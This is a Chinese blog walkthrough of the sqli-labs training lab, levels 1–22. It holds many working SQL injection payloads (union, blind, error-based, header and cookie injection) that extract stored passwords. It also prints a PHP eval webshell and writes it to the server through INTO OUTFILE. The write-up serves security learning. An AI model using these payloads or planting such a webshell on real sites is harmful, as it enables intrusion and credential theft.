sqli-labs-Basic Challenges
sqli_labs注入学习
一、SQL基本语法
1.1show databases;
显示MySQL数据库里边所有的库:

1.2use [table name];
使用特定的数据库:

1.3show tables;
列出当前数据库包含的表:

1.4select * from [table name];
显示出当前表的所有内容:

1.5总结
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='[database name]'
查列:select column_name from information_schema.columns where table_name='[table name]'
查字段:select username,password from [database name].[table name]
1.6其它基础知识
|
limit[a,b] |
a代表从第行开始,b代表显示多少行 |
|
--+、-- 、# |
MySQL语句中的注释符,代表后边的句子不在执行 |
|
order by |
对指定列进行排序 |
|
union select |
联合查询 |
|
system_user() |
显示系统用户 |
|
user() |
登录用户 |
|
current_user() |
|
|
database() |
显示使用数据库 |
|
version() |
显示MySQL的版本信息 |
|
@@datadir |
显示MySQL的安装路径 |
|
@@version_compile_os |
显示当前的操作系统 |
|
group_concat() |
将所有的数据拼接进行显示 |
|
concat_ws('~',A,B) |
按照"A~B"样式显示数据 |
|
load_file() |
读取本地文件 |
|
into outfile() |
写文件 |
|
if(condition,A,B) |
如果条件condition为真执行A否则执行B |

中国菜刀&一句话木马:
PHP版本:
<?php @eval($_POST["crow"])?> 其中crow是密码。
二、闯关
2.1 less-1
(1)准备工作:打开C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-1\index.php
将echo $sql; 和 echo "<br>";输入到如下图所示的位置。两句的功能见图中注释。

(2)打开第一关,并使用HackBar工具"Load URL"

(3)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=1'查看是否有注入

加单引号报错,说明有字符型注入。
(4)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=1' order by 10--+
查看有多少列(报错就是列数超出,采用二分法逐一排查,最后判定有3列)


(5)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1'
union select 1,2,3--+
查看哪些数据可以回显

发现2,3列可以回显。
(6)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
查看当前数据库

显示当前数据库是security。
(7)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+
查看特定数据库。

或者执行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看所有数据库。

(8)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema="security"--+
查看security数据库里边的表。

或者执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

注意:
一般用16进制表示table_schema的值"security",可表示为0x7365637572697479
(9)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name="users"--+
查看一个security表里的一个特定的列。

或者执行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
查看所有列信息。

(10)http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+
查看一个账号和密码。

或者执行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+
查看所有的账号和密码。

2.2 less-2
将id=1' 改为id= 1 去掉单引号,拿到所有账号密码的其他步骤与less-1相同。
2.3 less-3
将id=1 改为id= 1') 去掉单引号,拿到所有账号密码的其他步骤与less-1相同。
2.4 less-4
将id=1') 改为id= 1") 去掉单引号,拿到所有账号密码的其他步骤与less-1相同。
2.5 less-5
典型的布尔盲注
注入流程如下:
1、执行:逐位猜解数据库(标红为变量)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit ,1),1,)) >10--+
2、执行:逐位猜解security数据库里边的表信息。(标红为变量)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit ,1),1,)) >10--+
3、执行:逐位猜解security数据库users表里边的列信息。(标红为变量)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit ,1),1,)) >10--+
4、执行:逐位猜解security数据库users表里边的各字段的值。(标红为变量)
http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select username from security.users limit ,1),1,)) >10--+
2.6 less-6
与less-5不一样的地方就是构造语句不一样。
less-5:http://192.168.33.254/sqli-labs-master/Less-5/?id=1'
less-6:http://192.168.33.254/sqli-labs-master/Less-5/?id=1"
2.7 less-7
1、执行:http://192.168.33.254/sqli-labs-master/Less-7/?id=1

2、执行:http://192.168.33.254/sqli-labs-master/Less-7/?id='

3、执行:http://192.168.33.254/sqli-labs-master/Less-7/?id=1'))--+

4、执行:
http://192.168.33.254/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test.php' --+
将PHP一句话木马写入less-7目录下test.php内:

5、使用中国菜刀拿到整个网站的目录:
(1)打开中国菜刀,空白处右击→添加:

(2)填写URL地址和密码,单击右下角添加。

(3)双击添加成功的项目

(4)看到整个网站目录

2.8 less-8
方法一:布尔盲注
1、执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1

2、执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' 存在注入漏洞

3、执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' order by 3--+

4、执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='s'--+

或者执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1)) > 16--+

5、执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit ,1),1,)) > 17--+
根据标红可变变量进行brupsuite爆破,获取数据库的名称。
6、执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 6,1),1,1))=115--+
验证第7个数据库的首字母是"s"。

7、获取security里边的表信息
执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit ,1),1,))>30--+
标红为可变变量,利用burp suite 进行表爆破。
8、获取users表里边的字段信息
执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit ,1),1,))>30--+
标红为可变变量,利用burp suite 进行字段爆破。
9、拿到最终的账户和密码
执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>30--+
标红为可变变量,利用burp suite 进行用户名(username)爆破。
同理可以进行密码(password)的爆破
第二种方法:时间盲注
1、执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+
猜解数据库的长度,通过返回时间进行判断,若此时数据库长度为8 ,则可以较快返回。
2、执行:
http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) > 150,1,sleep(3))--+
猜解数据库的名称首字母。数据库第一个字母的ASCII值大于150时,会立刻返回结果,否则执行3s。
并且使用burp suite进行爆破~~
2.9 less-9
DNSlog(没讲)
1、执行:http://192.168.33.254/sqli-labs-master/Less-9/?id=1' and sleep(4)--+

2:与less-8一样进行时间盲注。
2.10 less-10
1、执行:http://192.168.33.254/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
发现存在注入漏洞。
2、与less-9相同。
2.11 less-11
1、

2、

3、打开burp suite,浏览器开启代理。


刷新页面,重新提交,burp suite出现如下界面,复制相应的内容。

4、回到浏览器用HackBar继续进行如下操作。

5、将uname=admin&passwd=admin&submit=Submit
改为uname=admin'&passwd=admin&submit=Submit
然后执行。观察到如下现象

6、继续改为uname=' or 1=1 #&passwd=admin&submit=Submit

7、改为:uname=' order by 3 #&passwd=admin&submit=Submit

8、改为uname=' order by 2 #&passwd=admin&submit=Submit 说明存在两列

9、改为uname=' union select 1,2 #&passwd=admin&submit=Submit

10、接下来的内容就简单了。。。。。。参照less-1可以完成后续步骤。
2.12 less-12
只是结构发生了改变,步骤与less-11一样
less-11:uname=' or 1=1 #&passwd=admin&submit=Submit
less-12:uname=") or 1=1 #&passwd=admin&submit=Submit
2.13 less-13
1、手动输入Username和Password,出现如下页面。

2、拿到POST内容。

3、将Post data内容改为:uname=ad&passwd=admin&submit=submit

4、将Post data内容改为:uname=ad') or 1=1 #&passwd=admin&submit=submit

5、猜解数据库的长度
将Post data内容改为:(标红为变量)
uname=ad') or if(length(database())>,1,sleep(5))#&passwd=admin&submit=submit
6、猜解数据库首字母
将Post data内容改为:
uname=ad') or left((select schema_name from information_schema.schemata limit ,1),) >'a' #&passwd=admin&submit=submit
7、使用burp suite进行辅助测试

8、设置变量,进行破解。

2.14 less-14
与less-13大致相同,只是less-13用('')包裹,less-14用""包裹。
2.15 less-15
与less-13大致相同,只是less-13用('')包裹,less-15用''包裹。
2.16 less-16
与less-13大致相同,只是less-13用('')包裹,less-16用("")包裹。
2.17 less-17
1、拿到POST数据

2、阅读源代码可知,本题对username进行了过滤,但是对password没有进行过滤。
3、将Post data改为:uname=admin ' #&passwd=admin&submit=Submit,执行

4、尝试对password进行操作
将Post data改为:uname=admin&passwd=admin ' #&submit=Submit,执行

5、利用updataxml通过报错信息得治数据库、表、列、字段等信息
将Post data改为:
uname=admin&passwd=admin ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

6、通过类似的方法继续爆破就行了。不多说啦,这个就很简单了,和之前的爆表啥的都一样啦。
2.18 less-18
头注入
1、拿到post data:uname=admin&passwd=admin&submit=Submit并且执行

2、将Post data改为:uname=admin'#&passwd=admin&submit=Submit

3、将Post data改为:uname=admin&passwd=admin'#&submit=Submit

至此,之前熟悉的方法失效。。。
4、使用HTTP头协议,采用火狐浏览器插件HTTP Header Live进行抓包。

5、观察部分源码:发现可利用User Agent进行注入

6、利用火狐浏览器插件:Modify Headers进行注入。

尾部闭合的第二种方式:' or updatexml(11,concat(0x7e,(database())),1),'','')#

7、使用MySQL语句逐层进行注入:
(1)将User-Agent的Value值改为:
' or updatexml(11,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),'','')#

(2)将User-Agent的Value值改为:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1)),1),'','')#

(3)将User-Agent的Value值改为:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1),'','')#

(4)将User-Agent的Value值改为:
' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1),'','')#

2.19 less-19
1、与less-18源码对比:


通过观察源码:
(1)less-18显示User-Agent,而less-19显示Referer;
(2)less-18有三个VALUE值,而less-19只有两个VALUE值。
所以,
①、注入构造语句由less-18的:
' or updatexml(1,concat(0x7e,(database())),1),'','')#
改为less-19的:
' or updatexml(1,concat(0x7e,(database())),1),'')#
②、头部注入方式由less-18的:

改为less-19的:

2、其它步骤与less-19完全相同
2.20 less-20
1、先试着输入正确的用户名和密码观察一下结果

2、利用火狐浏览器cookie-editor插件进行接下来的步骤:
(1)打开cookie-editor,执行完步骤一,会看到如下界面:

(2)将Value一栏的值由admin改为admin'并且保存后,刷新网页;

(3)构造注入语句如下:
' union select 1,2,3#(将这个填入cookie-editor Value一栏,保存刷新页面)

(4)猜解数据库。


(5)猜解security数据库里边的表。


(6)猜解security数据库里users列。


(7)猜解用户名和密码。
'union select 1,2,group_concat(concat_ws('~',username,password)) from security.users#

2.21 less-21
1、用一组我们已知的账户名(admin)和密码(admin)进行登陆。

得知与less-20不同的地方就是对cookie进行了BASE64编码。
2、来到在线解密工具(URL:https://tool.oschina.net/encrypt?type=3),对YWRtaW4=解密。

3、经过测试得到如下构造语句:
') union select 1,2,3#
通过BASE64编码:JykgdW5pb24gc2VsZWN0IDEsMiwzIw==(将此填入cookies-editor工具,保存,刷新页面)

4、接下来对数据库以及表、字段等的猜解参照less-20。
2.22 less-22
本关只是在构造语句上与less-21不一样。
less-21是:') union select 1,2,3#
less-22是:" union select 1,2,3#
猜解步骤和less-21相同,就不多说了。
至此,sqli-labs基础部分全部完成。
sqli-labs-Basic Challenges的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLi-LABS Page-1(Basic Challenges) Less11-Less22
Less-11 GET - Blind - Time based - double quotes http://10.10.202.112/sqli/Less-11/ 尝试登录: username:a ...
- SQLi-LABS Page-1(Basic Challenges) Less5-Less10
Less5 GET - Double Injection - Single Quotes http://10.10.202.112/sqli/Less-5?id=1 http://10.10.202. ...
- SQLi-LABS Page-1(Basic Challenges) Less1-Less4
Less-1 GET - Error based - Single quotes - Stri http://10.10.202.112/sqli/Less-1?id=1 http://10.10.2 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
随机推荐
- .netcore 3.1高性能微服务架构:webapi规范
1.1 定义 1.基础接口:单一职责原则,每个接口只负责各自的业务,下接db,通用性强. 2.聚合接口:根据调用方需求聚合基础接口数据,业务性强. 1.2 协议 1. 客户端在通过 API 与后端服务 ...
- 看透Spring MVC:源代码分析与实践 (Web开发技术丛书)
第一篇 网站基础知识 第1章 网站架构及其演变过程2 1.1 软件的三大类型2 1.2 基础的结构并不简单3 1.3 架构演变的起点5 1.4 海量数据的解决方案5 1.4.1 缓存和页面静态化5 1 ...
- 使用doxygen
Getting started with Doxygen 可执行文件doxygen是解析源文件并生成文档的主程序. 另外, 也可以使用可执行文件doxywizard, 是用于编辑配置文件, 以及在图形 ...
- LeetCode题目总结-滑窗法
LeetCode题目总结-滑动窗口法 滑动窗口法:此方法首先建立一个长度为零的窗口,把右侧窗口向右移动,当新的元素与原来窗口中的元素不重复时,把新的元素加入其中,并更新窗口长度:当新的元素与原集合中的 ...
- Ganglia安装及配置
Ganglia安装及配置root用户下yum安装所依赖的环境(实际生产环境都已安装)yum -y install apr-develapr-util check-devel cairo-devel p ...
- RocketMQ消息模型
rocketmq采用的是发布-订阅的模式,不需要每个消费者维护自己的消息队列,生产者将消息发送到topic,消费者订阅此topic 读取消息. 基本概念: 消息模型:消息模型包括producer,co ...
- spring实战第二章小记-装配bean
时间:2020/02/06 一.思想 1.创建应用对象之间协作关系的行为通常称为装配,这也是依赖注入(DI)的本质. 对于上面这句话的个人理解:当我们在new一个对象时如果传入了别的对象作为参数(这个 ...
- 人生需要Plan B
天有不测风云,人有祸兮旦福.2020年,刚打开就是地狱模式! 武汉加油,中国加油! 新冠状肺炎的强传播性,让人们不得不乖乖待在家,工地开不了工,白领不能上班,农村封村,城市封小区.人们每天在一个小范围 ...
- 解决python报错:ImportError: No module named shutil_get_terminal_size 的方法
我的环境:Ubuntu 16.04.5 LTS 修改这个文件: $HOME/.local/lib/python2.7/site-packages/IPython/utils/terminal.py 这 ...
- Spring Boot 2.x基础教程:默认数据源Hikari的配置详解
通过上一节的学习,我们已经学会如何应用Spring中的JdbcTemplate来完成对MySQL的数据库读写操作.接下来通过本篇文章,重点说说在访问数据库过程中的一个重要概念:数据源(Data Sou ...